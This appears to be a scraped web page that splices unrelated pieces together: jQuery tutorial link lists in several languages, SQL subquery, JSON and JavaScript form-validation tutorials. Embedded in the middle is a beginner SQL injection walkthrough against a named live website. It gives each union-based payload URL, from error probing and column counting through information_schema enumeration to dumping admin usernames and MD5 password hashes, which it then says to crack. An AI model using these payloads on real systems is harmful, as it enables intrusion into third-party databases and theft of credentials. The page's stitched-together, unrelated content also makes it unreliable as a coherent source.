Adrian Mato (yensdesign) Easy XML Consumption Using JQuery by Joseph Ucuzoglu Creating a very basic Image Gallery in JQuery by Jack Franklin jQuery Thickbox and ColdFusion Dynamic Image Resizing by Raymond Camden An introduction to jQuery and Form Validation by Raymond Camden Useful and Handy jQuery Tips and Tricks by Queness JQuery/PHP: Simple Random Text Generation Box [edit]Using jQuery with...

ASP.NET UserControl and jQuery by Hossein Rahmani Using AjaxPro by Michael Schwarz An example on how to use jQuery and Ajax.NET Professional together. Tags: Ajax Using Ext With jQuery by Juha Suni Getting started with the Ext library and jQuery.

Tags: Ajax, Plugins, Ext Simple Web 2.0 with Lasso and jQuery jQuery snippets An introduction to using JQuery with Lasso Using jQuery with Adobe AIR Quickstart Guide to ColdFusion+jQuery - Easy example on using jQuery with ColdFusion components (.cfc).] My First ExtJS DataGrid (Part 2, Part 3, Part 4, and Part 5) JQuery Ajax + Rails jQuery + jqGrid + Rails = Powerful Grid Component in your Rails app! CakePHP Ajax "Quick Save" with jQuery by Marc Grabanski: Using jQuery and CakePHP together to perform an Ajax form save.

jQuery and Google Maps Tutorials by Marc Grabanski: jQuery &
Google Maps #1 Basics - Getting started using jQuery inside the Google Maps API.
jQuery & Google Maps #2 Ajax - Saving and Retrieving Points with Ajax.

Using jQuery with Joomla 1.5 and PHP 5 Using jQuery to Enhance the Appearance and Usability of a Structured Document with the NetBeans IDE by Lloyd Dunn Drupal 6.x Creating a lavaLamp menu * GeeksandGod.com - Tutorials Integrating SharePoint 2007 and jQuery (Part 2, SmartTools.

jQuery on CodePlex) by Jan Tielens [edit]Sources for tutorialsThese are sites that are dedicated to regularly providing a number of jQuery tutorials. jQuery Tutorials Tutorials for Beginners TutorialsPoint - jQuery Tutorials Learning jQuery maintained by jQuery Project Team member Karl Swedberg jQuery for Designers (incl. screencasts) maintained by jQuery Project Team member Remy Sharp valums.com - jQuery &

Web Tutorials 15 Days of jQuery Detached Designs - jQuery Blog absolute beginner's blog jQuery HowTo, Tutorials & Plugins jQuery UI Tutorials yensdesign.com - jQuery & web tutorials Query7.com - jQuery Tutorials & Plugin Reviews Queness - jQuery tutorials TutsValley - jQuery Tutorials [edit]

jQuery API TutorialsThese tutorials directly look at different concepts presented in the jQuery API and discuss them in-depth.[edit]jQuery Core Introducing $(document).ready() by Karl Swedberg An introduction to the $(document).ready() function and explaining how important it is.

Tags: jQuery Core Multiple $(document).ready() by Karl Swedberg Some advanced tips for working with $(document).ready().

Tags: jQuery Core Quicker Than window.onload() [edit]Traversing and Selectors How to Get Anything You Want by Karl Swedberg An introduction to jQuery selectors and traversal methods, and their use in navigating the DOM

Tags: Selectors, Attributes, Traversing Zebra Striping Made Easy by Jack Born Walking through the simple code needed to stripe table rows.

Tags: Traversing, Selectors, CSS, Events Auto-Selecting Navigation by Remy Sharp Highlighting the current page in a navigation menu.

Tags: Selectors, Attributes, Traversing 5 Quick jQuery Tips by Rowan Lewis Some quick, short, examples of what you can do with jQuery.

Tags: Selectors, Attributes, Traversing, Manipulation, CSS Stylesheet Switcheroo Getting Select List Values by Marc Grabanski Using jQuery selectors to get the current value or option from a select list. [edit]Manipulation, Attributes, and CSS Wrapping Images With A Drop Shadow by Jack Born A simple example of using .wrap() to add a drop shadow to an image.

Tags: Manipulation Rounded Corners by Jack Born Adding rounded corners to an element, using no extra markup. Tags: Manipulation Multiple File Upload Magic by Jack Born Building an unobtrusive multiple file upload input.

Tags: Selectors, Attributes, Manipulation, Events, Forms Getting Around The Minimum Height Glitch by Yansky Just a quick tutorial for getting around the min-height glitch

Tags: Selectors, CSS PNG Opacity Fix for IE6 by Timo Besenreuther How to make transparent PNGs possible in Internet Explorer 6 Fancy Drop Cap (Part 2) Multiple Fancy Drop Caps Semi-transparent Rollovers Fancy quote marks while preserving presentation Turn Nested Lists Into a Collapsible Tree With jQuery Easy Multi Select Transfer with jQuery [edit]Events Mouse Position by Patrick Hall Some quick examples of finding the position of the mouse on a page.

Tags: Events, Attributes Accordion Menu (Screencast) by John Resig Building a simple, unobtrusive, Accordion-style menu using basic events and animations.

Tags: jQuery Core, Selectors, Attributes, Events, Effects, Screencasts AJAX and Events by Karl Swedberg and Jonathan Chaffer Discusses binding event handlers to DOM elements at the appropriate times.

Tags: Ajax, Events, Manipulation Really Simple Live Comment Preview by Karl Swedberg Adding a live preview to the comment entry area of Wordpress.

Tags: Events, Attributes, Forms Creating an OS Web Interface in jQuery by Adrian Mato (yensdesign.com) Smooth and Stunning Popup from scratch by Adrian Mato (yensdesign.com) Create an amazing music player using mouse gestures & hotkeys in jQuery by Adrian Mato &

Ivan Guardado Castro (yensdesign.com) Collapsible Layouts -

Use jQuery to create smart collapsible page layouts. Working with Events - Event Delegation Working with Events - Event Re-binding Easy Image Rollovers with CSS class Animated Menus Blurring Links Affiliate Link Loveliness Pop Up Menu Set a Hover Class for Anything Characters Remaining on an Input Field Text Box Hints News scroller/ticker with jQuery and AJAX -

multiple news, fading effect, mouseover pause jQuery Text Resizing by ShopDev A simple tab script with jquery by Codersstuff.com [edit]Ajax Quick and Dirty Ajax by Jack Born A screencast that provides a quick run through of all the different types of Ajax that're possible with jQuery.

Tags: Ajax, Screencasts Safer Contact Forms Without CAPTCHAs by Jack Born Building a complete, jQuery-based, solution for stopping spammers from mis-using your forms.

Tags: Ajax, Manipulation, Forms Edit in Place with Ajax by Jack Born Building an edit-in-place solution that saves all data in the background, using Ajax.

Tags: Ajax, Events, Manipulation, Forms AJAX and Events by Karl Swedberg and Jonathan Chaffer Discusses binding event handlers to DOM elements at the appropriate times.

Tags: Ajax, Events, Manipulation How to load content via AJAX in jQuery by Adrian Mato (yensdesign.com) Create a shoutbox using PHP and AJAX (with jQuery) by Adrian Mato (yensdesign.com)
Creating AJAX websites based on anchor navigation using jQuery by Ivan Guardado Castro &

Adrian Mato (yensdesign) Easy Ajax With jQuery by Akash Mehta Simplify Ajax development with jQuery by Jesse Skinner Ajax development with jQuery using PHP and JSON objects by FactsAndPeople.com No More Ajax Headaches -

How to debug Ajax calls with FireBug Auto-populating Select Boxes using jQuery & Ajax - Also makes use of PHP and JSON. Ajax with Special Effects Ajax'ed Forms Easy AJAX with jQuery Auto-Complete Field with jQuery, JSON & PHP (Part 2) AJAX callbacks with jQuery jQuery and XML jQuery Makes Parsing XML Easy by Marc Grabanski Quick code example to illustrate how jQuery can make parsing XML simpler.

create ajax based login form using jquery PHP by Bali Web Design updated here auto populate dropdownlist via ajax request with Jquery by Bali Web Design PUT and DELETE with jQuery Ajax with jQuery, PHP and JSON objects by FactsAndPeople.com Create a Ajax based Form Submission with jQuery+PHP by Queness A Simple AJAX Driven Website with jQuery+PHP by Queness Checking username availability with ajax using jQuery by TutsValley [edit]Plugin Development jQuery Plugin

Tutorial Learn to make jQuery plugins by following these plugin patterns A Plugin Development Pattern by Mike Alsup How to create a plugin for jQuery by Adrian Mato (yensdesign.com) jQuery for Programmers – Writing a simple, dynamic, plugin using jQuery.

Building jQuery Plugins Turn your jQuery code into a richer, unit testable, plugin A Really Simple jQuery Plugin Tutorial by Queness Introduction to building jQuery plugins by Andrew Valums jQuery Plugin Patterns by Winton Welsh Building Your First jQuery Plugin Building jQuery Plugins by Daniel

How to display tips by creating a jQuery plugin by Adrian Mato & Ivan Guardado Castro (yensdesign.com) A Really Simple jQuery Plugin Tutorial by Queness [edit]ToolsThese guides look at using jQuery with different tools and utilities.

Using Firebug and jQuery (Screencast) Have Your jQuery Fun on Any Site with Greasemonkey Getting started with Aptana and jQuery Updated jQuerify Bookmarklet Solving JQuery IntelliSense Weirdness in Aptana 1.1 Using jQuery with Spket IDE Using syntax coloration in Vim [edit]Web Services Parsing Yahoo Pipes JSON Feeds with jQuery - A tutorial on how to parse and display JSON feeds from the Yahoo Pipes Web Service using jQuery. [edit]

Tutoriaux en FrançaisjQuery.info Danse avec jQuery Transformer tous les liens d’une page Ajouter une boîte à coucou Un paragraphe trop à l’étroit Le plugin « editable » Géolocaliser Lille Le plugin « form » Un repas équilibré Ajouter une image dans une page Cloner des éléments Le code révélé Jouer à Shanghaï Une boîte de recherche un peu smart L’effet machine à écrire end() Bandeau d’actualité Babylon-Design Apprendre et comprendre jQuery -

1/3 Apprendre et comprendre jQuery -

2/3 Apprendre et comprendre jQuery -
3/3 Les Intégristes Introduction à jQuery jQuery :
dansez maintenant ! (quelques méthodes) jQuery :
codez branché ! (les plugins) jQuery :
l'événement ! (les événements) WebInventif.fr Comment utiliser jQuery dans un bookmarklet ? Laissez le visiteur choisir comment il va ouvrir un lien LePotlatch.org

Une FAQ accessible et facile à mettre à jour avec JQuery ChezNeg - Le blog d'un développeur web Premiers pas avec jQuery et sa fonction slideToggle() Système de commentaires en Ajax avec jQuery Vérification instantanée des champs d'un formulaire avec jQuery Coder un slider horizontal avec jQuery executer des événements sur des éléments rajoutés au DOM

Faire une animation en boucle avec jQuery et setInterval() Créer un bloc déroulant avec Jquery Recherche à la volée avec Jquery Faire un bouton "J'aime" comme sur Facebook avec jQuery Le blog technique de Loïc Bar jQuery et ASP.NET Snoupix.com Slideshow jQuery accessible Galerie d'images avec le plugin Flip!

Vérifier un formulaire avec jQuery Galerie d'images dynamique en jQuery Initiation à AJAX avec jQuery (Partie 1) Initiation à AJAX avec jQuery (Partie 2) Webjax.eu Liste des pages Webjax.eu sur JQuery Présentation du framework JQuery Méthode JQuery.Core Sélecteurs JQuery Attributs JQuery Traverser le modèle DOM avec JQuery Manipuler le modèle DOM avec JQuery CSS avec JQuery Gestion des évènements JQuery Effets JQuery Requêtes AJAX avec JQuery Utilitaires JQuery Interface Utilisateur JQuery UI portail sur

jQuery documentation en français de l'API NoShade.net Créer un mini-site avec jQuery [edit]Tutoriales en español Cómo crear un menú de pestañas elegante en jQuery publicado por Web.Ontuts Cómo validar un formulario utilizando PHP y Javascript (jQuery) publicado por Web.Ontuts Cómo crear un Menú Contextual en Javascript mediante jQuery publicado por Web.Ontuts Cómo crear un Plugin para jQuery publicado por Web.Ontuts Mejorando las cajas de búsqueda mediante jQuery publicado por Web.Ontuts JSONP,

llamadas entre dominios (incluye plugin para jQuery) publicado por Web.Ontuts JavaScript fácil y rápido con jQuery Eventos en jQuery Conceptos esenciales de la librería JQuery Además incluye una variedad de ejercicios en el sitio los cuales puedes: probarlos, modificarlos y ver los resultados inmediatamente. Introducción a jQuery Haciendo Tablas Cebra Facilmente by Jack Born Esta es una traducció del artí "Zebra Striping Made Easy" de Jack Born.

Pequeño tutorial a través de ejemplos sencillos de código para hacer tablas tipo cebra. Tags: Traversing, Selectors, CSS, Events VideoTutorial Nº1 Curso de JQuery En este primer VideoTutorial hacemos una introducción en la que vemos cuales son las ventajas del uso de este tipo de frameworks, así como las funcionalidades que nos ofrece. Terminamos creando el primero proyecto con jQuery y explicando la sintaxis y estructura básica que utiliza. De momento publicados 14 videotuoriales del Curso.

Manual de jQuery publicado por DesarolloWeb.com [edit]Tutorials auf Deutsch jQuery - Die Grundlagen jQuery - AJAX-Formular AJAX-Formular in einer Thickbox - Ich werde im folgendem beschreiben wie ich vorgegangen bin mit wenigen Eingriffen in den HTML-Code ein PopUp mit dem Formular zu erstellen in welchem die Übermittlung per AJAX geschieht. jQuery - Tutorial-Serie Es geht darum eine existierende Webseite ohne Eingriff in CSS und HTML-Code zu dynamisieren.

Ohne Javascript im Browser des Besuchers bleibt alles wie es ist, alle Inhalte sind voll zugänglich. Wer aber Javascript akiviert hat bekommt eine durch Animation und Ajax aufgewertete Funktion. Lange Textbeiträge nur teilweise anzeigen mit Möglichkeiten diese ganz darzustellen. jQuery und Google Maps - Google Maps mit jQuery-Hilfe einbinden. Javascript debug Helfer mit JQuery – die ganz schnelle Tour.

Ajax-Tooltip-Image - Ein Bild eingebunden als Link per MouseOver anzeigen.
JQuery Beispiele - Grundlagen für Ajax und zugriffe auf Objekte anhand von Beispielen JQuery und Wordpress - Tutorial für die Einbindung von jQuery in Wordpress

Themes JQuery Einstiegs Tutorial -
jQuery Tutorial mit Beispielen [edit]O jQuery po polsku
jQuery - to łatwe! - jeden z pierwszych w Polsce, przystępnie napisany kurs jQuery dla początkujących jQuery - Narzędzia. - pierwsza część cyklu opisującego narzędzia jQuery.
jQuery - Narzędzia. - pierwsza część cyklu opisującego narzędzia jQuery.
jQuery - Narzędzia v2. - druga część cyklu opisującego narzędzia jQuery.
jQuery - Kurs - Wskaźniki. - pierwsza część spolszczonej dokumentacji.
jQuery - JSON przez POST - bardzo prosty dodatek do jQuery - postJSON.[edit]Türkçe eğitseller jQuery-TR jQuery için Türkçe destek grubu

jQuery ve Seçiciler Seçiciler nedir ve jQuery için ne anlam ifade ederler?
jQuery ve Css işlemleri jQuery ile Css işlemleri nasıl yapılıyor?
jQuery ve Olaylar jQuery ile olay yönetimi nasıl yapılıyor?
jQuery ve DOM işlemleri jQuery ile DOM (document object model) işlemleri nasıl yapılır?
jQuery ve AJAX işlemleri jQuery ile AJAX işlemleri nasıl yapılır?
jQuery ve Efekt işlemleri jQuery ile efekt işlemleri nasıl yapılır?
jQuery ile animasyon yapmak jQuery ile animasyon işlemleri nasıl yapılıyor?

Temel ve ileri düzey bilgi. Yazar: Jeffrey Jordan Way, Çeviri: sohbet - Alastyr - By Mehmet Tahta Jquery ve css ile hareketli button yapmak by Zülküf Küçüközer Jquery ve Seçiciler (Jquery Selectors) by Zülküf Küçüközer PHP ve Jquery ile Google suggest benzeri AutoComplete | Otomatik Metin Tamamlama Hazırlamak by Zülküf Küçüközer ASP.NET ortamında Jquery, Ajax ve JSON ile sayfada yüklenen resimlere resim yükleniyor efekti vermek by Zülküf Küçüközer Jquery, Ajax ve PHP ile dizin içeriğini okumak ve göstermek by Zülküf Küçüközer Jquery ve PHP ile Ajax stili çoklu dosya göndermek by Zülküf Küçüközer jQuery:Sayfa yenilenmeden AJAX ile veri eklemek Form ile gönderilen veri sayfa yenilenmeden nasıl alınır ? -

Codersstuff.com Transportadora Site taşıma yeni sitede jquery ayar düğmesini kullanarak jQuery ile sayfayı yenilemeden verileri ekrana bastırmak jQuery ve Javascript ile sayfaya refresh atmadan 3 satır kodla verileri ekrana bastırabilirsiniz.-

Codersstuff.com Fofoca Dedikodu sitesinde jquery ayar düğmesini kullanarak jQuery ile mouse pozisyonu jQuery ile imlecin kordinatlarını almak. -

Codersstuff.com jQuery ile validation jQuery ile validation. jQuery ile Yıldızlı Oylama (Star Rating) | demo jQuery ve Asp.net ile Yıldızlı Oylama (star rating). jQuery Akordion | demo jQuery ile Akordion içerik yapımı. Oi Torpedo jQuery tarafından ücretsiz kısa mesaj jQuery ile Animasyon jQuery ile animasyon. Jquery ile Accordion menu hazırlayalım Jquery ile Accordion menu hazırlayalım. Jquery'de each kullanımı. Jquery de each kullanımı. Jquery ile Arkadaşına gönder formu jQuery ile Form Doğrulama - Resimler jQuery topLink Plugin -

Codersstuff.com jQuery ile fotoğraf adres kontorolü -
Codersstuff.com jQuery ile efekt vererek veri silmek -
Codersstuff.com ~ Codersstuff Blog jQuery ile sayfa kaydırma -

Teknodergi.Org jQuery Form Kontrolü - Teknodergi.Org Drupal ile JQuery Kullanımı - Teknodergi.Org Jquery, Iframe Auto Height Jquery ile iframe Auto Height tanımlama Jquery TextBox Help Plugin Jquery ile TextBox için tıklandığında kaybolan yardım metni oluşturma Jquery & Nice Css Form Jquery ile temiz css tabanlı formlar oluşturmak Jquery Form Tooltip Jquery ile form alanları için tooltipler oluşturma (Form Tooltip)

SQL Subquery

Subquery or Inner query or Nested query is a query in a query. A subquery is usually added in the WHERE Clause of the sql statement. Most of the time, a subquery is used when you know how to search for a value using a SELECT statement, but do not know the exact value.Subqueries are an alternate way of returning data from multiple tables.Subqueries can be used with the following sql statements along with the comparision operators like =, <, >, >=, <= etc. SELECT INSERT UPDATE DELETEFor Example:1) Usually, a subquery should return only one record, but sometimes it can also return multiple records when used with operators like IN, NOT IN in the where clause. The query would be like,SELECT first_name, last_name, subjectFROM student_detailsWHERE games NOT IN ('Cricket', 'Football');The output would be similar to:first_name last_name subject------------- ------------- ----------Shekar Gowda BadmintonPriya Chandra Chess2) Lets consider the student_details table which we have used earlier. If you know the name of the students who are studying science subject, you can get their id's by using this query below,SELECT id, first_nameFROM student_detailsWHERE first_name IN ('Rahul', 'Stephen');but, if you do not know their names, then to get their id's you need to write the query in this manner,SELECT id, first_nameFROM student_detailsWHERE first_name IN (SELECT first_nameFROM student_detailsWHERE subject= 'Science');Output:id first_name-------- -------------100 Rahul102 StephenIn the above sql statement, first the inner query is processed first and then the outer query is processed.3) Subquery can be used with INSERT statement to add rows of data from one or more tables to another table. Lets try to group all the students who study Maths in a table 'maths_group'.INSERT INTO maths_group(id, name)SELECT id, first_name || ' ' || last_nameFROM student_details WHERE subject= 'Maths'4) A subquery can be used in the SELECT statement as follows. Lets use the product and order_items table defined in the sql_joins section.select p.product_name, p.supplier_name, (select order_id from order_items where product_id = 101) as order_id from product p where p.product_id = 101product_name supplier_name order_id------------------ ------------------ ----------Television Onida 5103Correlated SubqueryA query is called correlated subquery when both the inner query and the outer query are interdependent. For every row processed by the inner query, the outer query is processed as well. The inner query depends on the outer query before it can be processed.SELECT p.product_name FROM product pWHERE p.product_id = (SELECT o.product_id FROM order_items oWHERE o.product_id = p.product_id);

Basic sql injection for beginner with a live example

NOTE : This tutorial is to make you familiar with how the SQL Injection actually works, Hope you don’t use this tutorial for Offensive porpose. If anybody misuses I am not responsible for that.Website Used for Practical here :

http://www.shangproperties.com/news_archive.php?id=6We will check it’s vulnerability by adding magic qoute (‘) at the end of the url.3.So the url will be like this:
http://www.shangproperties.com/news_archive.php?id=6′And we hit enter and we got this result.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6\’;mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1)

Database error: next_record called with no query pending.mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1)

If you got an error, some text missing or a blank page the site is vulnerable but not at all.Now we know that the site is vulnerable.4.The next step is find out how many columns the database containTo find it we use “order by” (without the qoute) and this string ” — ” (no qoute).

It will look like this:http://www.shangproperties.com/news_archive.php?id=6 order by 1– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 2– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 3– (no error)we move a little higher. (it doesn’t matter)http://www.shangproperties.com/news_archive.php?id=6 order by 10– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 14– (no error)until we got an error:http://www.shangproperties.com/news_archive.php?id=6 order by 15– (we got an error)now we got an error on this column:it will lok like this.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6 order by 15–;mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)

Database error: next_record called with no query pending.mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)this mean the database contain only 14 columns.5.. Now use “-” (negative quote) and union select statement.using this we can select more data in one sql statement.Look like this:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14–we hit enter.numbers appears..Like this:6, 586.Now we will check it’s MYSQL VERSION. We will add @@version on the numbers appear on the previous step.lemme say i choose 8.. we will replace 8 with @@version,so it will look like this.http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, @@version, 9, 10, 11, 12, 13, 14–and you will get a result like this:6, 55.1.32 <–this is the versionnow we get the version: ;-)7.Getting Table Name.

We use group_concat(table_name).replace @@version with group_concat(table_name)and look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14–were not done already: (don’t hit enter)between number 14 and this “–” (quote) insert this:+from+information_schema.tables+where+table_schema =database()–it will look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–we hit enter and got this result:

Blurb,FileUpload,Inquiries,NewsArticle,ProjectPhot o,active_sessions_split,auth_u ​ser_md58. Now we’re done on TABLE NAME, we move on to COLUMN NAME.use this string group_concat(column_name)replace group_concat(table_name) to group_concat(column_name).but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.for better result we need to hex auth_user_md5.

Go to this Link: Click here!paste auth_user_md5 to the text box and click encode.now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435Now replace group_concat(table_name) to group_concat(column_name).

like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–replace also +from+information_schema.tables+where+table_schema =database()–to+from+information_schema.columns+where+table_name= 0x617574685f757365725f6d6435–(The yellow letter and numbers is the auth_user_md5 hex we encoded)

Note: always add 0x before the hex. Like above.Here is the result:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.columns+where+table_nam e=0x617574685f757365725f6d6435–Now hit enter: and you got result like this.UserID,Username,Password,Perms,FirstName,MiddleNam e,LastName,Position,EmailAddre ​ss,ContactNumbers,DateCreated,CreatedBy,DateModif ied,ModifiedBy,Status9.We use 0x3a to obtain what we want from the DATABASE like pass, username, etc..etc..

Replace group_concat(column_name) to group_concat(UserID,0x3a,Username,0x3a,Password,0x 3a,Perms,0x3a,FirstName,0x3a,M ​ iddleName,0x3a,LastName,0x3a,Position,0x3a,EmailAd dress,0x3a,ContactNumbers,0x3a ​ ,DateCreated,0x3a,CreatedBy,0x3a,DateModified,0x3a ,ModifiedBy,0x3aStatus)but i prefer to do this one group_concat(Username,0x3a,Password) for less effort.and replace also information_schema.columns+where+table_name=0×6175 74685f757365725f6d6435– to +from+auth_user_md5–617574685f757365725f6d6435 is the hex value of auth_user_md5 so we replace it.

Result look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7,group_concat(Username,0x3a,Password), 9, 10, 11, 12, 13, 14+from+auth_user_md5–i hit enter we got this:admin username: k2admin / adminpassword in md5 hash:21232f297a57a5a743894a0e4a801fc3 / 97fda9951fd2d6c75ed53484cdc6ee2d10.Because the password is in md5 hash we need to crack it.

The best Web 2 jQuery javascript plugins

We developers here at Wiliam are always looking for programming solutions that are robust, standards compliant, extensible and keep our sites loading fast. One such solution that has been gaining popularity among our development team is jQuery.jQuery is a Javascript library that aims to greatly simplify the often tedious and buggy task of writing client-side JavaScript code to for modern Web 2.0 web sites.At Wiliam, JQuery is helping pave the way for our new generation of sites, and I personally have found that its extensible, modular platform has helped me do away with much of our old Javascript code and have all our sites work in a standardised, consistent way with fewer bugs. And best of all, it's free.I'd like to share with you four of the best JQuery plugins that I've been working with and implementing almost every day.jqModal - easy popup boxesI can't remember the last time I built a web site that didn't have some kind of pop-up window. Enquiry forms, login boxes and information boxes are almost always used in our designs. I believe they improve the user experience when used appropriately: the user can request more information about a topic or log in to a site without leaving the current page, for example. jqModal is a plugin for jQuery that simplifies the task of making divs pop up. I was surprised by how little code is required, compared to our old methods. The samples on the jqModal site are simple and easy to follow - in fact I was really surprised by the tiny amount of code required to initialise and then open the popup (compared to the old

Tuesday 28 June 2011

How to create and read JSON strings in PHP

JSON logo and PHPPHP, like JavaScript, has functions that can convert variables to JSON strings and vice-versa. Let's take a look at them.Creating a JSON string from a PHP variablejson_encode() takes a PHP variable and returns a JSON string representing the variable. Here's our shopping cart example written in PHP:This produces exactly the same output as our JavaScript example — a valid JSON string representing the variable's contents:{"orderID":12345,"shopperName":"John Smith","shopperEmail":"johnsmith@example.com","contents":[{"productID":34,"productName":"SuperWidget","quantity":1},{"productID":56,"productName":"WonderWidget","quantity":3}],"orderCompleted":true}In a real-world online store, your PHP script would send this JSON string as part of the Ajax response back to the browser, where the JavaScript code would use JSON.parse() to turn the string back into a variable so it can display the cart's contents to the shopper.

How to create and read JSON strings in JavaScript

JSON logo and JavaScriptJSON might be a simple format, but it's obviously fairly tedious to write JSON strings by hand. What's more, you often need to be able to take a JSON string, and convert its contents into a variable that can be used by your code.

Fortunately, most programming languages give you tools that can easily turn variables into JSON strings, and vice-versa. The basic idea is as follows: To create a JSON string, you start with a variable containing some data, then pass it through a function to turn that data into a JSON string. To read a JSON string, you start with a JSON string representing some data, then pass it through a function to create a variable containing the data.Let's take a look at how to create and read JSON strings in JavaScript.

Creating a JSON string from a JavaScript variableJavaScript contains a built-in method, JSON.stringify(), that takes a JavaScript variable and outputs a JSON string representing the variable's contents. For example, let's create a JavaScript object containing our cart data from earlier, then create a JSON string from that object:

This produces the output:

{"orderID":12345,"shopperName":"John Smith","shopperEmail":"johnsmith@example.com","contents":[{"productID":34,"productName":"SuperWidget","quantity":1},{"productID":56,"productName":"WonderWidget","quantity":3}],"orderCompleted":true}

Notice that JSON.stringify() outputs JSON strings with all whitespace removed. It's harder to read, but it makes the string more compact for sending around the web.Creating a JavaScript variable from a JSON string

There are quite a few ways to parse a JSON string in JavaScript, but the safest and most reliable way is to use JavaScript's built-in JSON.parse() method. This takes a JSON string and returns a JavaScript object or array containing the JSON data.

Here's an example:Here we've created a variable, jsonString, that holds the JSON string for our shopping cart example. Then we've passed this string through JSON.parse() to create an object holding the JSON data, which we store in cart.

We then check the conversion worked by displaying the contents of the object's shopperEmail property, as well as the value of the productName property of the second object in the contents array.

This displays the following output:johnsmith@example.comWonderWidgetIn a real-world online store application, your JavaScript would likely receive the shopping cart JSON string as an Ajax response from a server script, pass the string to JSON.parse(), then use the data in the resulting object to display the cart to the user in the page.

Form Validation with JavaScript

This tutorial will show you how to create a JavaScript-enabled form that checks whether a user has filled in the form correctly before it's sent to the server. This is called form validation. First we'll explain why form validation is a useful thing, and then build up a simple example form, explaining things as we go along. At the end, there's a little exercise to keep you busy too!What is form validation?Form validation is the process of checking that a form has been filled in correctly before it is processed. For example, if your form has a box for the user to type their email address, you might want your form handler to check that they've filled in their address before you deal with the rest of the form.There are two main methods for validating forms: server-side (using CGI scripts, ASP, etc), and client-side (usually done using JavaScript). Server-side validation is more secure but often more tricky to code, whereas client-side (JavaScript) validation is easier to do and quicker too (the browser doesn't have to connect to the server to validate the form, so the user finds out instantly if they've missed out that required field!).Client-side validationClient-side form validation (usually with JavaScript embedded in the Web page)Server-side validationServer-side form validation (usually performed by a CGI or ASP script)In this tutorial we'll build a simple form with client-side JavaScript validation. You can then adapt this form to your own requirements.A simple form with validationLet's build a simple form with a validation script. The form will include one text field called "Your Name", and a submit button. Our validation script will ensure that the user enters their name before the form is sent to the server.Open this page to see it in action. Try pressing the Send Details button without filling anything in the "Your Name" field.You might like to open the source code for this form in a separate window, so that you can refer to it throughout the tutorial.You can see that the page consists of a JavaScript function called validate_form() that performs the form validation, followed by the form itself. Let's look at the form first.The formThe first part of the form is the form tag:
The form is given a name of "contact_form". This is so that we can reference the form by name from our JavaScript validation function.The form uses the post method to send the data off to a dummy CGI script on ELATED.com's server that thanks the user. In reality, you would of course send the data to your own CGI script, ASP page, etc. (e.g. a form mailer).Finally, the form tag includes an onsubmit attribute to call our JavaScript validation function, validate_form(), when the "Send Details" button is pressed. The return allows us to return the value true or false from our function to the browser, where true means "carry on and send the form to the server", and false means "don't send the form". This means that we can prevent the form from being sent if the user hasn't filled it in properly.The rest of the form prompts the user to enter their name into a form field called contact_name, and adds a "Send Details" submit button:

Please Enter Your Name

Your Name:

Now let's take a look at the JavaScript form validation function that does the actual work of checking our form.The validate_form() functionThe form validation function, validate_form(), is embedded in the head element near the top of the page:The first line (That's all there is to simple JavaScript form validation! Our example is very simple as it only checks one field. Let's expand this example with a more complex function that checks lots of form fields. We'll also look at how to check other types of fields, such as checkboxes, radio buttons and drop-down lists.A more complex formLet's look at a more complex validated form with some different types of form fields.Open this page to see it in action. Try pressing the Send Details button without filling in the form and see what happens.Again, you might like to open the source code for this form in a separate window, so that you can refer to it as we talk you through.Like our previous example, this page has a form called contact_form and a function called validate_form(). In addition to the previous text field, the form has radio buttons, a drop-down list and a checkbox.The validate_form() function now has 3 extra checks, one for each of our new fields.Validating radio buttonsAfter the contact_name text box has been checked, the gender radio buttons are validated: if ( ( document.contact_form.gender[0].checked == false ) && ( document.contact_form.gender[1].checked == false ) ) { alert ( "Please choose your Gender: Male or Female" ); valid = false; }This code checks to see whether either of the radio buttons ("Male" or "Female") have been clicked. If neither have been clicked (checked == false), the user is alerted and valid is set to false.Validating drop-down listsNext the "Age" drop-down list is checked to see if the user has selected an option. In the form, we named the first option in the drop-down list "Please Select an Option". Our JavaScript can then check which option was selected when the user submitted the form. If the first option is selected, we know the user has not selected a "real" option and can alert them: if ( document.contact_form.age.selectedIndex == 0 ) { alert ( "Please select your Age." ); valid = false; }Note that the values for selectedIndex start at zero (for the first option).Validating checkboxesFinally, the "Terms and Conditions" checkbox is validated. We want to the user to agree to our imaginary Terms and Conditions before they send the form, so we'll check to make sure they've clicked the checkbox: if ( document.contact_form.terms.checked == false ) { alert ( "Please check the Terms & Conditions box." ); valid = false; }Because we set our valid variable to false in any one of the above cases, if one or more of our checks fail, the form will not be sent to the server. If the user has not completed more than one field, then they will see an alert box appear for each field that is missing.Now you know how to write a form validation script that can handle multiple form fields, including text boxes, radio buttons, drop-down lists and check boxes!One point to note about JavaScript validation is that it can always be circumvented by the user disabling JavaScript in their browser, so for secure validation you'll need to write your validating code in your server-side scripts. However, for day-to-day use JavaScript is a quick and easy way to check over your forms before they're sent to your server.An exercise: "one field at a time" 